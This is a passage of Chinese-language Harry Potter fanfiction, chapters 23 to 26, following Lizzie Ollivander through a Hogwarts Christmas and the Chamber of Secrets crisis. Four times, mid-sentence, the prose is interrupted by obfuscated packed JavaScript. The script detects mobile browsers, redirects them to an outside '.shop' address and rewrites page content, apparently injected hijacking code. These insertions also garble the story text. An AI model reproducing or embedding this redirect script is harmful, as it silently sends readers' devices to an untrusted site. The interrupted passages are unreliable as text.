上个月贝塔姨妈也邀请了我,她对我的生活显然是不太了解,又或者是她又想让我见见那群草包一样的表兄了。 早知道你没有回摩德纳,我应该带你一起来巴黎的,每年到了圣诞节,PlaceCachée*都特别热闹,比对角巷要好玩得多,还有马戏团的演出。 我昨天在一家店里一眼看中了这双靴子,店名的法语太复杂了,希望鞋子能合脚。 皇后乐队的这几盘磁带我万圣节时就想寄给你了,只是工作太忙碌,我现在才腾出手来,一定要听听那首波希米亚狂想曲,是我的最爱。 期待你的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487811|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,爱你。 塞西尔(在巴黎度假中) 今年发生了这么多事情,留在霍格沃茨过圣诞节的人并不多,尤其是拉文克劳的学生,算上莉兹在内也才两三个人。 她窝在房间里过了几日,平安夜晚宴时才终于露了脸。 前脚才踏进礼堂,后脚莉兹就被韦斯莱双子一左一右架到了格兰芬多的桌子旁,她费劲地挣脱着,却被按着坐下了。 “我和弗雷德想着要是今天还见不着你,就要绑架一个拉文克劳的学生进你们的休息室了。”乔治说着从口袋里翻出一堆东西,哗啦啦地铺了满桌。 太妃糖夹心巧克力、太妃棒棒糖、传统太妃硬糖和太妃软糖,莉兹发誓自己从没见过这么多种类的太妃糖,她小心翼翼地用魔杖戳了好几下,见到没什么变化,便放心地剥开糖纸,吃了一颗。 “你们去打劫蜂蜜公爵糖果店了吗?”她把糖含在嘴里,左边腮帮子鼓出来。 “我们现在啊,”弗雷德拍了拍胸脯,“非常擅长制作太妃糖。” “我们俩有一个想法,就是把……”乔治开始给莉兹讲述起关于肥舌太妃糖的想法,说得有鼻子有眼的。 “你们大概不会是让我来帮忙消耗太妃糖的,”莉茲敏锐地嗅到了言外之意,“说吧,拿人手短,又想问我些什么?” 在他俩回答之前,她又强调:“假魔杖的事情我绝不参与,我做不出不能用的魔杖。” 乔治被一本正经说着这种话的莉兹逗笑了,他解释说:“我们需要精度更高的膨胀药剂,所以需要你。” “需要我?”莉兹微微皱眉。 “听说奥利凡德小姐的数学很好。”弗雷德也从斗篷口袋里摸出一卷羊皮纸,上面密密麻麻写着各种材料配比。 莉兹沉默了好久没继续说话,把兄弟俩急坏了。 “对不起,我只是不太习惯你们这么认真。”她咳嗽了两声。 正好这时候邓布利多教授敲了敲酒杯,示意晚宴正式开始了,窗外下起了雪,连带着礼堂内也飘起了雪花,不过落在手背上一点也不凉,暖和而轻巧。 教授领唱着圣诞颂歌,学生们跟着和声。 莉兹第一次留校过节,觉得这一切都很有意思,她点了一盘烤羊肋排,吃得津津有味,一点不在意正在捉弄珀西的弗雷德和坐在一旁偷笑的乔治。 在伸手要拿第二盘圣诞布丁时,乔治那目光果然还是影响到她了,她略显不满地说:“又怎么了?” “我很好奇,你是不是一直没有长高?”乔治甚至上下打量了一遍。 放下勺子,深呼吸一口气,莉兹狠狠踩了一下他的脚,接着端起盘子就往礼堂外走,想着果然还是拉文克劳的休息室最舒服了。 弗雷德在和其他人嘲笑着珀西的级长徽章,乔治便转身追上去,风吹过来雪花落在莉兹的卷发上,迎着光一闪一闪的。 “奥利凡德小姐。”他叫她。 莉兹转过身看向他,一手拿着布丁,一手抱着装满太妃糖的斗篷口袋,她十分担心会被撑爆。 “圣诞快乐。”乔治笑着说。 “圣诞快乐,乔治。”莉兹眨了眨眼睛,他便在银白色的眸子里看见了自己。 *本文12章提到碧翠丝·凯恩所带领的瑞文尼亚渡鸦队,是欧洲魁地奇协会唯一一只在甲级联赛正式登记的女子球队,选手和教练都只有女性。 *巴黎和马赛的矛盾是历史遗留问题,南法人对巴黎积怨已深。 *隐藏街,法国的对角巷。 24. 生而非凡 当塞西尔试图喝下第二打龙舌兰的时候,一个不速之客将酒保推来的酒杯都推回去,被扫了兴致的她不满地回过头去,这件袖口磨得起毛球还勾丝的呢大衣可太眼熟了。 “梅林啊,我躲在巴黎的麻瓜酒吧里还能被抓到,莱姆斯你别太关注我了好吗?”塞西尔抬手要了两杯金汤力,把一杯放在卢平跟前。 “魔法部去搜了马尔福庄园。”对方像是是一点没听见她说了什么,坐下后自顾自说了起来,“你打草惊蛇了。” “你还真够天真的,”塞西尔用裙摆挡住,挥了一下魔杖,手上便多了个东西,“卢修斯放在博金博克卖的那些,我就顺走了这一个。” 卢平接过去翻来覆去看了看,皱着眉头刚要说话就被打断。 “说实在的,那只是些沾染了黑魔法的道具,有的甚至都称不上是道具。”塞西尔喝了一口酒,“不是魔法部因为我的举动去查他,而是他让魔法部查自己。” “他要把自己撇清。”卢平总算是说出了答案。 塞西尔挑了挑眉,喝光了杯子里的酒,看向他:“我很感兴趣他是为了藏什么,这么大费周章的。” “所以你弄清楚了吗?”卢平反问。 “当然没有,”塞西尔笑了笑,“拜托你啊老光棍,我在度假呢。” 被一句老光棍噎住,卢平抬脚就要走,塞西尔开着玩笑似的拉着他说:“好好的圣诞节就别一个人回伦敦窝着了,我想你要是有人陪也不至于收了风声就来找我。” “少喝点吧。”卢平拿这个酒鬼是一点办法没有,只能是举杯和她的空酒杯了一下。 麻瓜的酒吧圣诞夜里也一样热闹,有几个年轻人聚在一起又唱又笑,确实比破斧酒吧那间又静又黑的房间稍微好一些。 他突然有点想念詹姆和莉莉,有他们在的话,什么时候都挺热闹。 苏格兰高地平安夜那场雪竟也飘来了巴黎,迟了一日的光景,塞西尔手托腮注视着窗外,像是撕破了鹅毛枕头一样漫天飞舞的白色,路灯昏黄的灯光逐渐变得模糊,她经常期待着那是一片片破碎的自己,落在地上堆积融化蒸发而后就可以消失不见。 然而被大雪包裹着的霍格沃茨城堡却让莉兹伤透了脑筋,她想给塞西尔回信和礼物,可天气状况太差了,班克闹了脾气不愿飞。 正当她坐在礼堂的长桌上和它认真谈判时,伍德的猫头鹰米拉尼尔穿过大门稳当地将一个包裹放在她面前,接着缓缓停在她的左手边,和往常一样等候着什么。 刚准备给它喂点东西吃,脑子里倏然灵光一现,莉兹把猫头鹰口粮放在手里开口和它谈判:“嘿米拉朋友,我们认识很久了,和你商量一件事好吗?” 米拉仿佛听懂了似的左右转了转头。 “我想拜托你把这个送到巴黎,虽然有些远,但是我相信米拉一定能做到。”莉兹竟然真的在认真和一只猫头鹰谈判,她把攥着食物的拳头摊开在它眼前,又点了点卡片上的地址。 贪吃的米拉埋头吃完了所有口粮,乖巧地蹦跶了两下,先是用爪子勾住包裹外的麻绳,然后张开翅膀飞向大雪之中。 班克见状也过来啄了好几下莉兹的拳头,在她手背上留下几块红印。 “不听话的坏孩子,”莉兹把两手都摊开给它看,“不干活就没有饭吃!” 被训斥了的班克用力扇了两下翅膀,竟卷起一阵风来,把摊在桌上的羊皮纸卷还有一盘黄油曲奇都掀翻在地,莉兹站起身准备去追,飞出去的班克落在了路过的斯内普教授的头顶。 “糟糕,梅林保佑你看不见我。”莉兹立马弯下腰来,试图避开视线。 “奥利凡德小姐……” 在那个低沉的嗓音响起的瞬间,她知道自己逃不掉了。 “睿智的拉文克劳也会放任一只愚蠢的畜生在礼堂放肆吗?”斯内普像寒冰利刃似的眼神扎得莉兹喘不过气,“我想我必须要给你们扣分了。” 要是让戴维斯知道自己圣诞假期留校还给拉文克劳扣掉了五分的话,那可得让他得意坏了。 无奈地把胡闹的班克送回猫头鹰塔楼,斯内普不允许它出现在城堡主楼里,提着笼子的莉兹一路上都在埋怨地说它是坏孩子。等到再回礼堂时,她的座位对面已经坐着两位满脸笑容的家伙。 “你做了我们一直想做的事情,为奥利凡德小姐鼓掌。”弗雷德嗓门太大了,周围的人都朝这里看过来。 “你们还想不想让我帮忙了?”莉兹本来就一肚子气,他还嘲笑自己。 “当然,当然,”乔治拿来了一盘新的黄油曲奇,还加了一个冰淇淋球,“我是好人,他是坏家伙。” 莉兹接过了盘子,露出了勉强原谅他们的表情。 快到宵禁时间,珀西没好气地赶所有人立马回宿舍,像在吆喝广场上的鸽子。莉兹抱起背包沿着兄弟俩说的小道,在皮皮鬼的掩护下躲过了走廊上的费尔奇,来到了韦斯莱双子的秘密道具研发基地。 一进门乔治就注意到她敞开的背包里的那个包裹上写着伍德的名字,看起来还没来得及拆开。她经常会用伍德送的东西,比如那顶滑稽的姜黄色毛线帽,后来一直就是她戴着。 于是出于私心,乔治把她的背包拉上了,眼不见心不烦。 这间小屋不知道是在哪条通向霍格沃茨外面的密道上,墙上贴着很多设计图纸,还有各种魔药配比表,莉兹被密密麻麻的字整得有些眼花缭乱的,她挪过来一张凳子,举起手里的魔杖看向他们俩说:“介不介意我……” “哦——当然不介意。”弗雷德做出一个“请”的动作。 她轻巧地挥了两下魔杖,甚至没有念出咒语,东倒西歪的试管和脏兮兮的坩埚眨眼间就被打扫得干干净净、整整齐齐,连地上打碎的两个烧杯都回到了原位。 霍格沃茨的学生会在六年级时才开始正式学习无声咒,乔治和弗雷德平时喜欢恶作剧,早早便练习了许多咒语,不过还没有到莉兹这般游刃有余的程度。 清理完了桌子,总算留出了能摊开纸张的空间,不需要双子的提醒,莉兹很快便从那些乱七八糟的配比表和没有整理好的数据中得出了需要的结论,在她的第一个公式写下来的时候,他们就已经看不懂了。 “有时候我真觉得小古板女士聪明得有点让人……”弗雷德用手肘碰了碰乔治轻声说,“嗯,毛骨悚然。” 乔治瞥了兄弟一眼,他不这么想,反而是觉得有能力看得透这千千万万的事情,还要装作和旁人一样,才是她最厉害的地方。 莉兹,全名伊丽莎白·加里克·奥利凡德,第一次展现出魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487812|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的时候刚刚足月,比起其他小孩随着情绪波动而飘忽不定的魔法,她似乎从一开始就知道自己在做什么。也正是因此米歇尔才会早早就把她抱上了飞天扫帚,她常以为女儿的控制力是来自魁地奇天赋,直到莉兹逐渐长大,并表现出了对所有事物的感知力,她才明白魁地奇只是女儿能够做到的很小一部分。 都说奥利凡德家生了个天才女孩,可是其貌不扬,学业亦是并不出挑,如今已经没有人再提起那个天才的称号了,莉兹自己也不愿表露什么,这不是说她谦虚,只是敏锐或是聪慧,本就不是非凡的特质,若是一定要她承认自己有什么是别人绝对做不到的,她会肯定地说 ——是魔杖。 老奥利凡德在她第一次说出听见木材在歌唱的时候,便告诉了她:“孩子,你拥有了连我也不曾触及的天赋。” 麻瓜在艺术领域说绝对音感和绝对色感,在本世纪还存活的为数不多的魔杖制作者中,这是一种绝对判断力。既然音乐家可以唱出完全相同的音,画家可以画出相同的颜色,那么莉兹就可以制作出完全相同的魔杖。 整个圣诞假期,弗雷德、乔治和莉兹三人只要一得空就在秘密基地里待着,珀西连着几次大半夜见到像是弟弟们的身影,可转眼便不见了,一次都没抓到,他发誓他一定要搞明白这俩人又在搞什么鬼名堂。 乔治从没觉得假期可以过得这么快,好像还没怎么说上几句话呢,其他人已经返校了。而在开学后第一次魁地奇训练时,他看到莉兹戴上了那副样式老土的小羊皮手套,更像是被浇了一盆冷水。 谁圣诞礼物会送这么丑的东西,而且谁还会真的戴上呀。 霍格沃茨的气氛随着新学期的到来变得不再沉闷,大家不再疑神疑鬼地担心斯莱特林的继承人的出现,宵禁也逐渐放开,据可靠消息,麦格教授大约会允许学生们在复活节之前的那个周六去霍格莫德村,这可让大家高兴坏了。 除此之外,二月十四日的情人节也是很重要的一个因素。 许多女生们给洛哈特教授送去了贺卡和巧克力,这件事让男生们难以理解,但是戴维斯却不一样,他认为有魅力的男性值得收获一切喜爱,他也要成为这样成功的人。 起初莉兹还觉得,让斯内普给拉文克劳扣了分这件事被戴维斯知道了,那一定很丢人,现在见到这蠢家伙的模样,她真是为自己的想法感到可惜,这么想才是真正的丢人。 马上就是莉兹在霍格沃茨的第五年了,有同学甚至给普通巫师等级测试做了个一年倒计时的魔法钟放在了拉文克劳的公共休息室里,真是徒添人的压力。她一点不操心学业,倒是米歇尔信里提到想让她暑假去参加英格兰青年队的选拔这件事更让她烦躁,怎么这世界没了魁地奇是不能转了吗。 明年有欧洲杯,后年世界杯的预赛六月就要开始,她真不明白妈妈怎么还能抽出空来对她寄予厚望。 前两日在弗立维教授的课上,塞德里克看她愁眉苦脸的,便一边练习着咒语一边说曼德拉草的长势喜人,大概很快就会成熟了,他终于不用经常被斯普劳特教授找去温室帮忙了。 这倒是提醒了莉兹,还有受害者躺在校医院呢,事情总要有个了结,她可不相信洛哈特那只花孔雀说的什么他已经解决了所有事,密室再也不会被打开了。 25. 暴雨来前的平静 过了复活节假期,这个赛季最后两场魁地奇比赛便提上了日程,收官战是拉文克劳和斯莱特林,在那之前先是格兰芬多和赫奇帕奇。目前四个队伍的积分排名仍然充满悬念,拉文克劳稍稍领先不到二十分,格兰芬多同赫奇帕奇持平,斯莱特林垫底。 伍德紧张得厉害,下周六他必须要领先赫奇帕奇一百七十分拿下比赛,这样球队积分才能反超现在的第一名,他们才有机会捧起魁地奇杯。那群拉文克劳们可从来都不是省油的灯,帕特里克已经让弗林特抢过一次魁地奇杯,这次又怎么会干坐着什么都不做,放任格兰芬多超过去呢。 退一万步,就算好脾气的帕特里克·费尔曼会做出那种半场开香槟庆祝的蠢事,队伍真正的主心骨莉兹·奥利凡德,她那个聪明的大脑显然不是摆设,莉兹大概会用出绝佳的战术,稳住积分榜首位置。 想到这里,伍德长叹一口气,碗里的牛奶麦片都有点发苦。 “梅林的胡子,还有两分钟就是魔药学的课了!”身旁的同学匆忙咽下吐司片,抱上课本翻过长凳便向外冲。 “该死的……”伍德立马把麦片一股脑儿地倒进嘴里,腮帮子鼓起,感觉牛奶下一秒就要喷出来了,但他一刻不敢停,在走廊上仿佛用双退跑出了飞天扫帚的速度。 太糟糕了,竟然是斯内普的课。 自从上个月的情人节,韦斯莱那对麻烦精双胞胎兄弟给他送了盒会爆炸的巧克力之后,斯内普开启了对全体格兰芬多学生的无差别攻击,即便原本就有这样的倾向,但最近更是愈演愈烈。 珀西恨不得大义灭亲,手刃自己两个亲弟弟,因为连他都在斯内普的课上被不幸扣了五分,而他仅仅只是回答了教授的提问而已。 踩着铃声进了教室,天气多少是变得暖和了一些,但魔药学教室还是一如既往的阴风嗖嗖,伍德的高大的身材在后排照样显眼,他察觉到斯内普的眼神,只能勉强弯下腰。 好在教授虽然看了一眼,却没有开口挑什么错处,伍德绷紧的神经这才放松了,要不是不被允许,他总觉得斯内普能给在场每个格兰芬多的学生都下毒,然后逼着他们自己制作出解毒剂。 这绝不是空穴来风,伍德听塞德里克说斯内普已经这么威胁过他们了,那会儿连莉兹都点了头。 “他确实把戴维斯的蟾蜍扔进了混合毒药汤剂里,让我们一小时内做出解药。”莉兹继续云淡风轻地补充着,“我很惊讶,他竟然没有选择去毒乔治,或者弗雷德。” “你能有这种想法本身也很令人惊讶啊。”塞德里克感叹道。 不过斯内普的“针对”也给伍德在某些方面提供了方便,至少看似古板传统、从不偏心自己学院的麦格教授,利用职务之便为格兰芬多争取了最多的训练场使用时间。 自打三月起,伍德便给队里安排了十分紧凑的计划,他统计了每个人的课表,在大家都没课的时间段进行集体训练,同时还有个别训练方案,像是安吉丽娜,就特地制定了爆发力练习。他甚至让所有人都把扫帚寄回店里修整一番,最后只有年纪最小的哈利照做了。 已经签约了球队的伍德在六年级放弃了大多数的课,除了必要的几门课程,也就是剩下了一节算数占卜是可有可无的选修。 他的课余时间多得可怕,莉兹很少在训练场地以及办公室之外的地方见到他,就算见了面他嘴里谈的也都是魁地奇训练。前几天伍德不知从哪里搞到了麻瓜的足球,无时无刻在用左脚颠球,说是要增加非惯用脚的灵活度。 据塞德里克的解释,他们住的那个社区和麻瓜某个足球俱乐部只一线之隔,有个不起眼的路灯,只要按节奏敲六次旁边的地砖,回家的门就可以打开。 当然了,他们平时都会走国王十字车站旁的那间酒馆后门的飞路网,直接通到家里的壁炉。 邻居家有个男孩跟他们同样年纪,不过是哑炮,他去了麻瓜的学校上学,现在就在那个俱乐部青训营里,这足球就是他寄来的,连怎么颠球也是他教的。圣诞节时男孩给他俩一人寄了一件球队的球衣做礼物,伍德挺喜欢的,因为普德米尔联队的队服也是差不多的蓝色。* 莉兹偶尔会对伍德和塞德里克长大的地方很感兴趣,她从小并没有机会认识同龄的孩子,奥利凡德魔杖店大多时候也没什么客人,她要么是被妈妈带去球场训练,要么是躲在店里看书和做木雕。 秋·张后来搬家住到了那附近,社区有个迷你魁地奇球场,他们几个的魁地奇都是在那里练出来的。 总算是到了周六这天,一大早莉兹就被送魁地奇速报的猫头鹰吵醒,头版头条写着“霍利黑德哈比队高层团队和教练组于今日正式解散,世界第一女巫球队归来!” 这下瑞文尼亚渡鸦队在联赛中终于不再孤立无援,曾经女巫球队的先驱摆脱了全男巫高层团队的数十年控制,夺回了主动权。* 她很喜欢霍利黑德哈比队,如果不是妈妈退役后留在了普德米尔,她其实更期待米歇尔会去执教哈比队。 这条新闻让莉兹的心情变得很不错,她一边挥动魔杖把床帘卷好,一边伏在窗口看向外面,天气晴朗、万里无云,真是适合比赛的好日子。 大约是中午有比赛的缘故,周末早晨的礼堂和往常一样热闹,换了队服的伍德招呼着队员们多吃点东西,另一边赫奇帕奇的桌子,塞德里克也在和自己的队长凑在一起讨论着什么。莉兹把魁地奇速报从袖子里抽出来,放在秋的手边,准备和她分享这个好消息。 结果秋似乎已经看过了,预言家日报上也登了同一条新闻,秋把报纸摊开到魁地奇专栏,文章最后顺便还揶揄了一下在普德米尔始终拿不到话语权的女教练米歇尔,话里话外的意思像是在说,先前哈比队抛了橄榄枝她不赏面,现在自己在普德米尔处处受制,是米歇尔目光短浅,没有远见。 “又是这个塔尔。”莉兹皱起了眉。 “这个作者似乎很喜欢针对米歇尔,所有和普德米尔有关的文章都是他的署名。”秋给莉兹夹了两个胡萝卜餐包。 莉兹哼哼了两声没再回话,她知道自己妈妈有多擅长得罪人,这个塔尔从米歇尔现役就专门写稿针对她了。 不一会儿礼堂里大部分人都去魁地奇训练场了,拉文克劳的桌子边剩下莉兹一个人在慢条斯理地吃着早餐,她一点不着急,反正看台的好位置肯定会被格兰芬多和赫奇帕奇的学生占满,去得早或晚没什么区别。 她只要在开场前找个角落,不会被其他人挤下台阶就好。所以直到把秋留下的预言家日报最后一页的填字游戏做完,莉兹才动身往球场走。 半路上碰见匆匆跑回来的帕特里克,对方伸手拉住她的斗篷袖子:“佩内洛也出事了,弗利维教授让我们帮忙把低年级学生都带回休息室,戴维斯正在门厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487813|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那儿提醒大家,其他年级的在日落前也必须回去。” “比赛呢?”莉兹不经大脑思考,下意识问出了一句。 “哎哟梅林,傻姑娘你怎么和奥利弗一个样子,所有比赛都延期了,”帕特里克指了指前面,“你去西侧转一圈,看看还有没有一年级的孩子。”说罢便跑上了楼。 城堡里的气氛刚轻松了没几日,这次不仅是拉文克劳的女级长遭了殃,连格兰芬多那个叫赫敏·格兰杰的姑娘也不幸被石化了,学校竟然变得越来越不安全了。 总觉得事情有哪里不太对的莉兹趁着日落前最后的时限,写了封信给塞西尔寄了出去,如果真的是按照密室的传说里那样,打开密室的人的目的就是清除麻瓜,现在却没有一个人真正死去,不像四十多年前,有个女学生意外身亡了。 仿佛这整件事只是为了在霍格沃茨引起骚动,变得人心惶惶,学生不愿留在学校,父母们开始质疑学校的安全性,而这里面必须要站出来负起责任的人,只有校长邓布利多一人。 “我认为这很不对劲。” 塞西尔看到了最后一行,小小年纪的莉兹一直就这么聪明,她的分析确实预判了一些事情。 部长办公室的人要求她将1943年关于非法饲养神奇动物的名单整理出来时,她很快意识到,福吉要的根本不是名单,要的就是海格从前的记录,他们为了手续更齐全、流程更有说服力地将海格关进阿兹卡班。由此影射多年来以个人名义担保鲁伯·海格的邓布利多教授,也许并不清白。 信寄出去没两日,周一晨会时大家都注意到邓布利多校长没有出现,中间位置空了出来,麦格教授走到最前方,她表情凝重,告诉所有人邓布利多教授暂时要离开霍格沃茨一段时间,但她相信不会太久,希望学生们不要担心也不要恐慌,这是个难关,大家要一起度过。 在猫头鹰棚屋里,莉兹一手攥着塞西尔的回信,用咒语把羊皮纸变成了不能复原的碎片,她没想到自己猜想的内容都应验了,班克扇着翅膀在提醒她外面有脚步声。 她回过头去,刚好对上表情有些局促的伍德,他大约是正准备开口打招呼的。 “马上是算数占卜课,教授在门厅等着大家集中。”被发现了的伍德只能老老实实说明来意。 “我知道,”莉兹甩掉手心的羊皮纸碎片,“反正离得近,我一个人走过去也可以。” “不行。”伍德站得笔直,走到门前的莉兹歪过头看向他。 “高年级学生应该护送低年级的……”伍德觉得自己可能编不下去了。 “所以木头先生你要站在棚屋里做木桩吗?”莉兹觉得他滑稽得有点可爱,“一起去上课吧。” 这么一句简单的话,说出来有多难呢? 见莉兹已经走下了好几级台阶,伍德才追了上去,他垂下头看她卷卷的翘起来的发尾,不自觉伸手隔空摸了摸,并未碰到。 和她并肩在走廊上走着,伍德心想,这可能是魁地奇比赛被取消后,他为数不多会感受到愉悦的时刻。 *这里的球队指的是切尔西,主场在富勒姆区,斯坦福桥球场。 *霍利黑德哈比队是原著中唯一的女巫球队,来自威尔士,原著中金妮毕业后也在球队里打球,瑞文尼亚渡鸦队是我的编的全女巫球队(12和23章有提及),来自爱尔兰,所以这段背景也是我编的。 26. 局外人 玛丽埃塔怨声载道推开了寝室的门,她在原地转了一圈,大约是要等到每个人都抬头看向她时才能开口说话,而莉兹只是抬眼留意了一下,并未放下手里的书,今年发生的事情还少么,她觉得已经不会再有什么事值得她惊讶了。 “你们敢相信吗,麦格教授不仅没有取消考试,甚至还将时间提前了整整一个礼拜,”玛丽埃塔深吸一口气,把挎包里两本厚厚的教材扔到一边,接着踢掉脚上的皮鞋盘腿在床上坐下,“这意味着四天后我们就要考第一门了!” “可是黑魔法防御课和魔法史的课程还没结束,”同年级的秋·张翻开了用来记录课堂笔记的羊皮纸卷,“我们至少还有十几页的内容没读完呢。” 年纪最小的帕德玛也皱着眉头垂下眼皮,长长的睫毛在脸上落下阴影,苦恼地看着还未收尾的魔药学课论文,若是考试提前了的话,这门课的结课作业截止时间自然会提前的。 莉兹试图露出相同的表情加入寝室里这种氛围,但她手里拿着的那本麻瓜出版的小说太有意思了,她一时半会儿无法从故事里抽离。 当最后一个睡着的秋也小声说了晚安后,莉兹把头埋进了被子里用魔杖打着光继续看书。不知过了多长时间,困意依然没能找上门,她钻出来,月光透过窗户照进房间,白茫茫一片像是天色大亮似的。 “咕——”突兀的声响。 饿得可真不是时候,她摸了摸肚子,蹑手蹑脚下了床,拿拖鞋夹在门缝中虚掩着,她记着先前乔治告诉她的密道,巧妙避开了游荡的皮皮鬼和费尔奇的值班室,安全抵达了厨房。 家养小精灵梅丽注意到了有人正在探头探脑,还有几块黄油饼干飞在半空中,刚准备尖声喊出来时便被用咒语封住了的嘴巴。 黑影一手接住饼干一手拿着魔杖轻轻一比划,梅丽又能说话了,可饼干小偷也消失在了楼梯间。 深夜的霍格沃茨走廊静悄悄的,可能是因为太安静了,刚刚没能注意到的声音变得很清晰,莉兹坐在台阶上啃着饼干,把耳朵贴在墙砖上听,像是窸窸窣窣的摩擦声,但是缓慢而绵长,就像是有人拖着麻布袋从这一头到那一头。 起初莉兹并没有将这个奇怪的声音放在心上,直到隔天午后,平时总是慢条斯理的弗立维教授焦急地在拉文克劳休息室里点着人数,这和之前魁地奇比赛被取消的那天很不同,因为在全员到齐后教授便在门前施了咒。 “从现在开始到明早九点特快列车发出前,所有人只进不出。” “弗立维教授,我能问问发生什么事了吗?”站在沙发后的玛丽埃塔踮着脚举起手来。 “这本不应该告诉你们的,但是……”弗立维教授皱了眉头,“密室的怪兽掳走了一个学生,现在还处于失踪状态。” “什么?被掳走了?” “天呐!谁出事了?” “梅林的胡子怎么会这样!” …… 难得拥挤的公共休息室里突然炸开了锅,有的人慌张上楼躲进了寝室,有的人聚在一起七嘴八舌讨论着,莉兹完全听不见周围的一切,她只是不自觉捏紧了自己的斗篷,这会不会和昨天听见的声音有关系,她还未理清思绪,没来得及和弗立维教授提到自己的猜想,教授便已经锁上了大门离开了这里。 级长帕特里克·费尔曼领着低年级的学生们上了楼,又告诉所有人今日的晚餐会直接送到寝室,再下来时休息室中间的沙发椅上只剩下了莉兹一个人,她两手托着下巴眉头紧锁,似乎在沉思什么。 见她满脸愁容,帕特里克以为她和其他学生一样在害怕,便关切地询问她需不需要来点安神的薰衣草茶。 莉兹摇了摇头,说话的语气像是自言自语,“我就是在想,能够掳走一个人的怪兽……那么大的一个东西怎么能在学校里这么多地方自由出没呢?” 她顿了顿,“每次遇害的地点都不同,它总得有行动的路径吧,比如说密道、管道之类的,又不可能是走廊……” “等一下,缓慢的摩擦声,”她突然站起身,“我现在就得去找弗立维教授。” “门被咒语锁住了,况且外面太危险了,我是级长我不能让你们任何一个人出去。”帕特里克拉住莉兹,“老师们会解决的,我们是学生。” 两个人就这样僵持在台阶上,莉兹目不转睛地盯着帕特里克,沉默而又坚定的模样,让他后退了半步,“你一定要这么做吗?” “目前暂时没有更好的选择,”莉兹紧握着魔杖,“我想我会违反校规,但我会尽量少违反几条。” 转头她就用上了弗立维教授刚在高级魔咒课上讲过的解咒法,推开休息室大门的同时她说道:“这就算第一条了。” 天色已暗,一种死寂的氛围在四处蔓延,莉兹甚至觉得自己又听见了那个摩擦声,她快步穿过走廊,敲了好几下门,但是弗立维的办公室空无一人。 扭头走向了另一头,她在麦格教授办公室门前犹豫了一阵,才咬着牙抬起手叩了两下。 “奥利凡德小姐?”麦格教授拉开门,“你应该立刻回到拉文克劳的休息室。” “我有很重要的事情一定要告诉您。”莉兹两手按住门把手,整个人直接挤了进去,刚准备继续说时,她看到坐在壁炉边抹着眼泪的韦斯莱夫妇二人,转头看向麦格,“教授,出事的是……” “金妮。”麦格教授低声回答道。 若是一开始是本着正义之心的驱使,到这一步就是加入了她的私心,乔治同弗雷德与她是足够要好的朋友,他们的亲妹妹处在危险之中,她庆幸自己听从了自己的冲动。 “怪兽通过下水道在霍格沃茨内部移动,”莉兹笃定地开口,“我想藏在密室里的应该是一条蛇怪,而四十年前那位女学生正是在盥洗室遇害的,教授,我们再不去找金妮的话,她可能……” “哦天呐——”在一旁听着的韦斯莱夫人倒吸一口凉气,再次哭出了声。 办公室的门又打开,想来是听见了屋内的对话,邓布利多一边摘下了帽子,一边拿去了上面一根火红色的羽毛。 “阿不思你总算是赶到了。”麦格试图三言两语解释清楚发生的事情,但邓布利多看起来像是已经知晓了一切。 他低头看着始终紧攥着魔杖的莉兹,“奥利凡德小姐,谢谢你的提醒,我们马上就会等来好消息了。” “可是您不去救人吗?”莉兹同邓布利多对视着,说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487814|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间一阵风从她耳边呼啸而过,一只凤凰扑闪着翅膀在空中停留了几秒而后稳稳落在校长的肩膀上。 伴随着韦斯莱夫人的一声尖叫,三个狼狈的孩子被她紧紧抱在怀里。 莉兹希望自己没有这么理智的思维,这样或许还能被此刻的气氛感动到,她又希望自己比她能做到的更理智一些,这样她不会因为邓布利多教授那份平静的态度而失落。 她抬头悄悄看了一眼那只羽翼尚未丰满的凤凰,传说它们从不认其他纯血家族的后人为主人,只有对它的主人足够忠诚才能够召唤来它们,也许这就是邓布利多如此放心的理由,也许自己今日的冲动只不过是一次毫无意义的自我满足。 做好事演好人这样的事情,应当留给帕特里克那种老好人。 